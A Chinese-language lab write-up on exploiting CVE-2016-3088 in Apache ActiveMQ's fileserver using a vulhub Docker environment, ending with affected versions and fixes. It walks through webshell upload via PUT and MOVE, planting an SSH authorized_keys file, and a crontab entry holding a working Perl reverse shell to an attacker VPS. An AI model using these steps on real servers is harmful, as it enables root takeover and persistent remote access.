ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。
前车之鉴
P师傅介绍说了很多技巧:
ActiveMQ 的 web 控制台分三个应用,admin、api 和 fileserver,其中 admin 是管理员页面,api 是接口,fileserver 是储存文件的接口;admin 和 api 都需要登录后才能使用,fileserver 无需登录;
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作;
利用方法:写入webshell,好处是门槛低更方便,但fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;
环境搭建
使用的是 vulhub 的docker环境,github:https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
使用docker-compose up -d
直接运行在vps上;
Webshell
访问fileserver目录并抓包;对错误路径进行PUT
任意数据,可得到绝对路径;但实际还得看环境,vulhub 的并不能爆出绝对路径,只有登陆后台访问/admin/test/systemProperties.jsp
拿绝对路径;
PUT上传又只能是fileserver目录,而fileserver目录不解析jsp,这里需要将txt格式的JspWebshell在MOVE到admin或者api路径下;
实际操作:
则绝对路径为:/opt/apache-activemq-5.11.1/webapps/
先PUT
上传Jsp的Webshell到fileserver目录;
确实不解析;
然后MOVE
到admin目录下来执行;
即可GetShell;
访问shell是需要登陆的,如果后台修改了默认管理密码(admin/admin),那么gg;
ActiveMQ 5.7.0 或者更低版本,可以直接报错出路径,而且访问不需要登陆后台,具体见知道创宇404实验室PAPER:https://www.seebug.org/vuldb/ssvid-96268
SSH 公钥
因为漏洞是可以上传并移动的,那么也可以上传SSH公钥至服务器,来进行免密钥登陆;
在.ssh
目录下生成密钥;
➜ ls
known_hosts known_hosts2
➜ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/go0s/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /Users/go0s/.ssh/id_rsa.
Your public key has been saved in /Users/go0s/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:BErhvw8WeKwi//qWqfuzljxeBGBDJyog34wWtGtE+C0 [email protected]
The key's randomart image is:
+---[RSA 2048]----+
|o+X +.. |
|+= & . . |
|o.*.* . |
|.oE..= . |
| o.. * S |
| . + o |
|. ...+= |
| o .Xo o |
| [email protected]*+ . |
+----[SHA256]-----+
➜ ls
id_rsa id_rsa.pub known_hosts known_hosts2
然后上传id_rsa.pub
到服务器,然后移动到/root/.ssh/
并重命名为authorized_keys
;
完成之后直接使用ssh xxx.xxx.xxx.xxx
即可登录服务器;
由于环境搭建在vps的docker中,开始时并没有映射出22端口,而且 vulhub 这个环境中没有ssh服务,这里不倒腾了;
crontab
利用定时器,自动化弹shell;
注意,换行一定要\n
,不能是\r\n
,否则crontab执行会失败;
这里利用perl语言写的反弹到VPS上;
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
等会即可拿到反弹结果;
由于是root运行的服务,这里才可写crotab,拿到的shell权限也为root;
如果非root启动,此方法同写入SSH一样,gg;
e.g.
crontab格式:
minute hour day month week command 顺序:分 时 日 月 周 命令
星号(*):代表所有可能的值;
文件写至`/etc/crontab.d/`中;
具体参考:http://wangchujiang.com/linux-command/c/crontab.html
每1分钟执行一次command:
* * * * * command
漏洞影响
Apache ActiveMQ 5.x ~ 5.14.0
在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启之);
在5.14.0版本以后,彻底删除了fileserver应用;
修复方案
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本;
2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能;
参考博文
https://www.seebug.org/vuldb/ssvid-96268 https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088